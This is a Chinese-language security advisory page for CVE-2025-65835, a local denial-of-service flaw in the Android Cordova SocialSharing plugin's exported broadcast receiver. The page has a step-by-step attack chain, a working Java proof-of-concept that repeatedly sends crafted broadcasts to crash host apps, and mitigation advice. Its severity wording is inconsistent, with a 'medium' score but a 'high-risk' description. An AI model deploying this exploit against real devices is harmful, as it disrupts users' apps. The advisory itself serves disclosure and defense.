IPBUF安全漏洞报告
English
CVE-2025-65835 CVSS 6.2 中危

CVE-2025-65835 Cordova SocialSharing插件本地拒绝服务漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-65835
漏洞类型
本地拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
cordova-plugin-x-socialsharing (SocialSharing-PhoneGap-Plugin) for Android

相关标签

本地拒绝服务NullPointerException导出组件广播接收器Cordova插件Android安全权限绕过SocialSharing-PhoneGap-Plugincordova-plugin-x-socialsharingCVE-2025-65835

漏洞概述

CVE-2025-65835是Cordova插件cordova-plugin-x-socialsharing (SocialSharing-PhoneGap-Plugin) Android版本中的一个高危本地拒绝服务漏洞。该插件在Android 6.0.4版本中注册了一个导出的广播接收器nl.xservices.plugins.ShareChooserPendingIntent,该接收器配置了android.intent.action.SEND意图过滤器。由于onReceive实现直接访问Intent.EXTRA_CHOSEN_COMPONENT而未进行null值检查,当收到包含extras但不包含EXTRA_CHOSEN_COMPONENT字段的ACTION_SEND广播时,代码会解引用null值导致NullPointerException。更为严重的是,该接收器被标记为exported且未实施任何权限或调用者验证机制,这意味着设备上的任何本地应用程序都可以向此组件发送精心构造的恶意广播,持续触发崩溃条件,最终造成包含该插件的主机应用程序反复崩溃,形成应用程序级拒绝服务攻击。此漏洞影响所有使用此插件的Android应用程序,攻击门槛低,无需特殊权限或用户交互即可实施。

技术细节

漏洞根源在于ShareChooserPendingIntent广播接收器的onReceive方法实现存在缺陷。该方法直接调用intent.getParcelableExtra(ShareChooserPendingIntent.EXTRA_CHOSEN_COMPONENT)而未进行null检查,当外部应用发送的Intent对象包含extras但缺少EXTRA_CHOSEN_COMPONENT字段时,getParcelableExtra返回null,随后的Parcelable强制转换或方法调用将触发NullPointerException。由于Android的Intent机制允许任何应用通过sendBroadcast向已导出的接收器发送广播,且该接收器未设置android:exported=false或添加android:permission属性进行访问控制,攻击者可以在无需申请任何权限的情况下构造恶意Intent:设置action为android.intent.action.SEND,添加任意类型的extra数据(如文本或文件路径),但不包含EXTRA_CHOSEN_COMPONENT字段,然后调用sendBroadcast方法发送。目标应用接收到此广播后将在主线程抛出未捕获的NullPointerException,导致应用崩溃。这种攻击可重复执行,实现持续性拒绝服务。修复方案需要在onReceive方法中添加null检查,或将接收器设置为非导出状态(android:exported=false)。

攻击链分析

STEP 1
步骤1
攻击者在本地设备上安装恶意应用程序,无需申请任何特殊权限
STEP 2
步骤2
恶意应用构造包含android.intent.action.SEND的Intent,设置type为text/plain,并添加任意extra数据
STEP 3
步骤3
关键步骤:Intent中故意不包含EXTRA_CHOSEN_COMPONENT字段,这是触发漏洞的必要条件
STEP 4
步骤4
恶意应用调用sendBroadcast()方法发送该构造的广播,由于目标接收器是导出的且无权限保护,广播可被成功接收
STEP 5
步骤5
目标应用中的ShareChooserPendingIntent.onReceive()方法接收到广播,尝试获取EXTRA_CHOSEN_COMPONENT得到null值
STEP 6
步骤6
代码对null值进行解引用操作(如强制类型转换或方法调用),触发NullPointerException
STEP 7
步骤7
未捕获的异常在主线程传播,导致目标应用程序崩溃,如果异常未被处理,应用将无响应
STEP 8
步骤8
攻击者可重复发送恶意广播实现持续性拒绝服务,用户需重启应用或设备才能恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65835 PoC - Local DoS via Exported Broadcast Receiver // This PoC demonstrates how any local app can crash apps using cordova-plugin-x-socialsharing public class ExploitActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Construct a malicious ACTION_SEND intent without EXTRA_CHOSEN_COMPONENT Intent maliciousIntent = new Intent(); maliciousIntent.setAction("android.intent.action.SEND"); maliciousIntent.setType("text/plain"); // Add extras but intentionally omit EXTRA_CHOSEN_COMPONENT // This will cause NullPointerException in the vulnerable receiver maliciousIntent.putExtra(Intent.EXTRA_TEXT, "Malicious payload"); maliciousIntent.putExtra("fake_extra", "trigger_crash"); // Send broadcast - no permission required since receiver is exported sendBroadcast(maliciousIntent); // Optional: Repeat to ensure persistent crash new Handler().postDelayed(() -> { for (int i = 0; i < 10; i++) { sendBroadcast(maliciousIntent); } }, 1000); Log.d("Exploit", "Malicious broadcast sent to trigger DoS"); } } // Alternative: BroadcastReceiver implementation for repeated attacks // Can be embedded in a malicious app's background service // Vulnerable code snippet (from plugin): /* public void onReceive(Context context, Intent intent) { if (Intent.ACTION_SEND.equals(intent.getAction())) { // VULNERABLE: No null check for EXTRA_CHOSEN_COMPONENT Parcelable chosenComponent = intent.getParcelableExtra(EXTRA_CHOSEN_COMPONENT); // This will crash if chosenComponent is null and used directly ComponentName component = (ComponentName) chosenComponent; // ... subsequent code accessing 'component' will throw NPE } } */

影响范围

cordova-plugin-x-socialsharing Android 6.0.4
SocialSharing-PhoneGap-Plugin (所有使用导出接收器的版本)

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:首先检查应用程序是否实际需要SocialSharing插件的分享选择器功能,如不需要可直接移除插件;其次可以通过AndroidManifest.xml中的<receiver>标签显式设置android:exported="false"来覆盖插件的默认配置;最后建议限制应用权限,避免安装来源不明的应用程序,并关注插件官方安全公告及时更新。由于该漏洞利用门槛低且影响范围广,强烈建议尽快评估并采取修复措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表